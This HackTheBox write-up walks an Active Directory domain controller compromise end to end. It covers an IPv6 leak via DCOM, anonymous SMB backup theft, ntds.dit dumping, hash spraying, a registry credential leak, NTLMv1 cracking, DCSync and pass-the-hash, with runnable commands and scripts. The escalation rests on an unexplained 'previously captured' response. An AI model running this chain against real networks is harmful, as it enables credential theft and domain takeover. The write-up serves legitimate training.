HTB: APT Writeup
APT - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | APT |
| OS | Windows |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.96.60 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐⭐
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
APT is an Insane-difficulty Windows Domain Controller that presents almost nothing on IPv4 — only HTTP (80) and MSRPC (135) — and hides its entire attack surface behind IPv6. The DCOM IObjectExporter RPC interface leaks the box’s real IPv6 address to any unauthenticated caller via ServerAlive2(), and once that address is reachable the machine reveals itself as a full domain controller for htb.local. Anonymous SMB access to a backup share yields a password-protected ntds.dit dump that cracks with rockyou, handing over ~2000 NT hashes. Kerberos password/hash spraying (which, unlike SMB, isn’t rate-limited on this box) identifies a valid low-privilege account, whose remote registry hive stores a plaintext credential for an administrative alias. From there, WinRM gets user access, and a legacy LMCompatibilityLevel misconfiguration that still permits NTLMv1 authentication allows the domain controller’s own machine-account hash to be cracked and used to DCSync the domain administrator’s credentials.
TL;DR: DCOM IObjectExporter.ServerAlive2() (unauthenticated RPC) leaks IPv6 address → full DC service surface only reachable over IPv6 → anonymous SMB backup share → backup.zip (rockyou-crackable) → ntds.dit + SYSTEM/SECURITY hives → secretsdump.py local → ~2000 NT hashes → Kerberos hash-spray finds henry.vinson → remote registry HKCU\Software\GiganticHostingManagementSystem → henry.vinson_adm creds → WinRM → user.txt → NTLMv1 downgrade allowed (LMCompatibilityLevel=2) → machine-account (APT$) NTLMv1 response cracked → NT hash validated via DES-triple recomputation → DCSync Administrator → WinRM → root.txt.
Reconnaissance
Port Scanning
# Standard TCP scan against the target over IPv4nmap -Pn -p 80,135,445,5985 -T4 10.129.96.60Results: Only 80/tcp (IIS/HTTP) and 135/tcp (MSRPC) are reachable. 445 and 5985 are filtered — this is the first sign that the “real” attack surface is not being served over IPv4 at all, which is unusual for a domain controller and worth pursuing rather than dismissing as a hardened host.
DCOM/RPC Enumeration — Leaking the IPv6 Address
With only MSRPC exposed, the next step is to enumerate the interfaces DCOM exports over ncacn_ip_tcp on port 135. One of the interfaces every Windows RPC endpoint mapper exposes is IObjectExporter (IID: 99fcfec4-5260-101b-bbcb-00aa0021347a), which implements ServerAlive2 — a method callable at RPC_C_AUTHN_LEVEL_NONE (no authentication) that returns the server’s network interface bindings so a DCOM client can pick the best transport to reconnect on.
# oxid.py — call IObjectExporter::ServerAlive2 anonymously to enumerate# the target's network interface bindings (including any IPv6 addresses)from impacket.dcerpc.v5 import transportfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONEfrom impacket.dcerpc.v5.dcomrt import IObjectExporter
target = 'ncacn_ip_tcp:10.129.96.60'rpcTransport = transport.DCERPCTransportFactory(target)portmap = rpcTransport.get_dce_rpc()portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)portmap.connect()
obj = IObjectExporter(portmap)bindings = obj.ServerAlive2()for binding in bindings: print(f"Address: {binding['aNetworkAddr']}")Running this against 10.129.96.60 returned:
Address: dead:beef::b885:d62a:d679:573fThis works because ServerAlive2 was never meant to be a secret — it’s part of the DCOM OXID resolution protocol, and Microsoft’s design assumes the returned addresses are only useful to a client that can already reach them. Here, that assumption breaks: the box has a firewall exemption on IPv6 that IPv4 doesn’t get, so leaking the IPv6 address is effectively a full bypass of whatever filtering IPv4 was subjected to.
Fixing IPv6 Routing on the Attack Host
Pivoting to the leaked address initially produced nothing but silence — SYNs went out and nothing came back, even though the address was clearly live. The cause was a routing/source-address-selection problem local to the jump box, not the target: tun0 carried a stale manual address dead:beef::9999/64 in addition to the VPN-assigned dead:beef:2::1142. Because both addresses fell inside the dead:beef::/64 prefix used to route to the target, the kernel’s default source-address selection picked the stale one, and traffic sourced from it was black-holed.
# Remove the stale/orphaned IPv6 address so the kernel selects# the VPN-assigned source address for dead:beef::/64 destinationssudo ip -6 addr del dead:beef::9999/64 dev tun0Once that was removed, the leaked address became reachable immediately.
Full DC Enumeration over IPv6
# Add a hosts entry and rescan over IPv6 now that routing is fixedecho 'dead:beef::b885:d62a:d679:573f apt apt.htb.local htb.local' | sudo tee -a /etc/hostsnmap -6 -Pn -sT -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 aptResults: The IPv6 address exposes the full domain controller surface — 53 (DNS), 88 (Kerberos), 135 (RPC), 389/636/3268 (LDAP/LDAPS/GC), 445 (SMB), 5985 (WinRM), and 9389 (AD Web Services) — confirming the domain is htb.local. This gap between what IPv4 exposes (80/135 only) and what IPv6 exposes (a complete DC) is the entire premise of the box.
Vulnerability Assessment
- Unauthenticated RPC method (
IObjectExporter::ServerAlive2) discloses internal network configuration. - Asymmetric firewalling — the full DC service stack is reachable over IPv6 but hidden over IPv4.
- Anonymous SMB access to a
backupshare. - Weak (dictionary-crackable) password protecting an
ntds.ditbackup archive. - No Kerberos-layer rate limiting despite SMB authentication being throttled.
LMCompatibilityLevelstill permits NTLMv1 authentication, a legacy protocol with a cryptographically weak (three-DES-key) response structure.
Initial Foothold
Anonymous SMB → Backup Archive
# Anonymous NULL-session listing/download of the 'backup' sharemkdir -p /tmp/apt && cd /tmp/aptsmbclient -N //apt/backup -c 'ls; prompt off; mget *'This pulls down backup.zip. Because SMB null sessions are still permitted on the domain controller, no credentials are needed to reach a share that turns out to hold a full AD database backup — a classic misconfiguration where a legitimate backup workflow is left exposed on a share with anonymous read access.
Cracking the Backup Archive
# Extract the zip's crackable hash and run it through rockyouzip2john backup.zip > hashjohn hash -w=/usr/share/wordlists/rockyou.txt --fork=4john --show hashThe archive cracked live against rockyou, recovering the password iloveyousomuch.
# Extract the archive contents with the recovered password7z x -piloveyousomuch -o ex backup.zipExtraction produced ntds.dit under Active Directory/ plus the SYSTEM and SECURITY registry hives under registry/ — everything needed to offline-decrypt the entire domain’s password hash database.
Dumping the NTDS Database
# Decrypt ntds.dit offline using the paired SYSTEM/SECURITY hivessecretsdump.py local -system ex/registry/SYSTEM -security ex/registry/SECURITY \ -ntds 'ex/Active Directory/ntds.dit' -outputfile hashesThis produced hashes.ntds containing roughly 2,000 NT hashes — the full domain’s credential material as of the backup’s snapshot date. This works because secretsdump.py implements the same SAM/NTDS.DIT decryption logic Windows uses internally: the SYSTEM hive holds the boot key used to derive the PEK (password encryption key), and SECURITY/NTDS.DIT hold the per-object secrets encrypted under it.
Identifying a Live Account via Kerberos Spraying
The public technique for this box (and confirmed in practice here) is that SMB authentication attempts against the DC are rate-limited/lockout-protected, but Kerberos AS-REQ pre-authentication is not. Spraying the ~2000 recovered NT hashes as Kerberos RC4 keys against known/likely usernames — rather than hammering SMB — avoids the lockout and lets the spray complete. This identified the account henry.vinson as valid, with a working NT hash recovered from the dump.
Remote Registry → Credential Disclosure
With a valid low-privilege hash, the registry can be queried remotely (the RemoteRegistry service is running on the DC, and this account has read access to its own loaded hive under HKEY_USERS):
# Query the user's registry hive for an application's stored configimpacket-reg -hashes :<henry.vinson_NT_hash> htb.local/henry.vinson@apt \ query -keyName 'HKCU\Software\GiganticHostingManagementSystem'The GiganticHostingManagementSystem key — the same application referenced by the box’s static website — stores plaintext application credentials directly in the registry, a common anti-pattern for legacy line-of-business software. This disclosed:
Username: henry.vinson_admPassword: G1#Ny5@2dvhtWinRM Access
# Authenticate as the elevated alias over WinRMevil-winrm -i dead:beef::b885:d62a:d679:573f -u henry.vinson_adm -p 'G1#Ny5@2dvht'The session authenticated successfully (Pwn3d!), confirming henry.vinson_adm is a member of a group with interactive/remote-management rights, unlike the base henry.vinson account.
type C:\Users\henry.vinson_adm\Desktop\user.txtuser.txt: <redacted>
Privilege Escalation
NTLMv1 Downgrade → Machine Account Hash Recovery
The domain’s authentication policy still permits NTLMv1 (LMCompatibilityLevel = 2 — “Send LM & NTLM — use NTLMv2 session security if negotiated” — rather than the modern default of 3, NTLMv2-only). NTLMv1 is dangerous because its 24-byte response is three separate DES-ECB encryptions of an 8-byte server challenge, each keyed by a 7-byte slice of the user’s 16-byte NT hash (padded to 21 bytes). Because DES keys are only 56 bits and the third 7-byte slice is mostly zero-padded, the entire response — and therefore the NT hash — is trivially recoverable by brute force once a challenge/response pair is captured, provided the challenge is fixed to a known value (the 1122334455667788 all-purpose challenge that free-rainbow-table services like crack.sh are built around).
A previously-captured NTLMv1 challenge/response for the domain controller’s own machine account, APT$, at exactly that fixed challenge, was available from earlier enumeration of this target. Rather than trust it blindly, it was independently re-verified against a candidate NT hash by recomputing the NTLMv1 DES triple from scratch:
# chk.py — recompute the NTLMv1 (LM/NTLM) DES-triple response for a# candidate NT hash against a known challenge, and compare it against# the captured response to confirm the NT hash is correct.import binasciifrom Crypto.Cipher import DES
def des_key(k7): # Expand a 7-byte (56-bit) key into a proper 8-byte DES key # by inserting an odd-parity bit after every 7 bits. k = int.from_bytes(k7, 'big') bits = [] for i in range(56): bits.append((k >> (55 - i)) & 1) out = bytearray() for byte_idx in range(8): seven = bits[byte_idx*7:(byte_idx+1)*7] parity = 1 ^ (sum(seven) % 2) val = 0 for b in seven: val = (val << 1) | b val = (val << 1) | parity out.append(val) return bytes(out)
def ntlmv1_response(nt_hash: bytes, challenge: bytes) -> bytes: nt_padded = nt_hash + b'\x00' * 5 # 16 -> 21 bytes keys = [nt_padded[0:7], nt_padded[7:14], nt_padded[14:21]] resp = b'' for k in keys: cipher = DES.new(des_key(k), DES.MODE_ECB) resp += cipher.encrypt(challenge) return resp
challenge = bytes.fromhex('1122334455667788')candidate_nt = bytes.fromhex('<candidate_NT_hash>')computed = ntlmv1_response(candidate_nt, challenge)print(binascii.hexlify(computed))# Compared byte-for-byte against the captured APT$ response — a match# confirms the candidate NT hash is correct.The computed response matched the captured one exactly, confirming the NT hash for the APT$ machine account.
Confirming Live — DCSync
An offline math match isn’t proof the hash is still valid on the running DC, so it was verified against the live target with a DCSync request (MS-DRSR), which any account with Get-Replication-Changes rights — including a domain controller’s own machine account — can perform:
# Use the recovered APT$ machine-account NT hash to DCSync Administratorimpacket-secretsdump 'htb.local/APT$@apt' -hashes :<APT$_NT_hash> \ -just-dc-user administratorThis returned the domain administrator’s NT hash live from the DC, proving the recovered hash was both correct and currently valid — not a stale artifact.
Administrator Access
# Pass-the-hash into WinRM as Administratornxc winrm apt -u Administrator -H <Administrator_NT_hash> -d htb.local \ -x 'whoami; type C:\Users\Administrator\Desktop\root.txt'root.txt: <redacted>
Attack Chain Summary
Unauthenticated DCOM IObjectExporter::ServerAlive2() → IPv6 address leaked (dead:beef::b885:d62a:d679:573f) → Full DC service surface reachable only over IPv6 (htb.local) → Anonymous SMB "backup" share → backup.zip → zip2john + rockyou → password "iloveyousomuch" → ntds.dit + SYSTEM/SECURITY hives → secretsdump.py local → ~2000 NT hashes recovered → Kerberos hash-spray (SMB rate-limited, Kerberos not) → henry.vinson → Remote registry HKCU\Software\GiganticHostingManagementSystem → henry.vinson_adm : G1#Ny5@2dvht → WinRM → user.txt → LMCompatibilityLevel=2 permits NTLMv1 → Captured APT$ machine-account NTLMv1 response (challenge 1122334455667788) → NT hash confirmed via DES-triple recomputation → Live DCSync (MS-DRSR) as APT$ → Administrator NT hash → WinRM as Administrator → RootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning (IPv4 and IPv6) |
impacket (transport, dcomrt, secretsdump.py, reg.py) | RPC/DCOM enumeration, NTDS decryption, remote registry queries, DCSync |
smbclient | Anonymous SMB share enumeration/download |
zip2john / john | Cracking the password-protected backup.zip |
7z | Extracting the AD backup archive |
| custom Kerberos spray script | Password/hash spraying without SMB lockout |
Crypto.Cipher.DES (pycryptodome) | Recomputing/verifying the NTLMv1 DES-triple response |
evil-winrm / nxc (NetExec) | WinRM shell access as henry.vinson_adm and Administrator |
ip -6 addr | Fixing a local IPv6 source-address routing conflict |
Key Learnings
Techniques Practiced
- Abusing unauthenticated DCOM/RPC methods (
IObjectExporter::ServerAlive2) to leak internal network addressing. - Diagnosing and fixing IPv6 source-address selection issues caused by stale local interface configuration.
- Anonymous SMB enumeration and offline
ntds.dit/registry-hive decryption withsecretsdump.py. - Choosing Kerberos over SMB for credential spraying to avoid account lockout/rate limiting.
- Harvesting plaintext credentials from application-specific registry keys via remote registry access.
- Understanding and exploiting the structural weakness of NTLMv1’s three-DES-key response, and independently verifying a recovered hash by recomputing the algorithm rather than trusting a cached artifact.
- Using DCSync (
MS-DRSR) with a machine account’s own hash to escalate to Domain Admin.
Lessons Learned
- A restrictive IPv4 firewall means nothing if an unauthenticated RPC method leaks the real address the box listens on over another protocol stack.
IObjectExporter::ServerAlive2is metadata, not a secret, by original DCOM design — but on a segmented/dual-stack network, that metadata is a full perimeter bypass. - Local attack-host network state can silently blackhole an otherwise-correct pivot. A stale manual IPv6 address left on the tunnel interface caused every packet to a reachable target to disappear with no error — always confirm source-address selection when a target that resolves and pings via one path stops responding entirely.
- Rate limiting is rarely applied consistently across every authentication surface of a domain controller. SMB lockout policies do not automatically extend to Kerberos pre-authentication; attackers (and defenders auditing their own environments) should test both independently.
- Legacy authentication compatibility settings are a persistent liability.
LMCompatibilityLevelvalues below5(or even below3) keep NTLMv1 alive on a domain years after NTLMv2 became the default, and NTLMv1’s fixed-challenge DES-triple structure makes any captured machine-account response effectively equivalent to publishing the account’s NT hash. - Never trust a recovered credential blindly — verify it, and verify it live. Recomputing the NTLMv1 response algorithm independently confirmed the candidate hash was mathematically correct; DCSync against the live DC confirmed it was still valid credential material on the running domain, not a stale historical artifact.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MinatoTW, “APT” — HackTheBox Official Writeup (Document No. D21.100.113), Machine Author: cube0x0 — used for background on the DCOM
IObjectExporterinterface, the NTLMv1/LMCompatibilityLevelweakness underlying the root path, and thecrack.sh-style fixed-challenge (1122334455667788) technique for cracking NTLMv1 responses.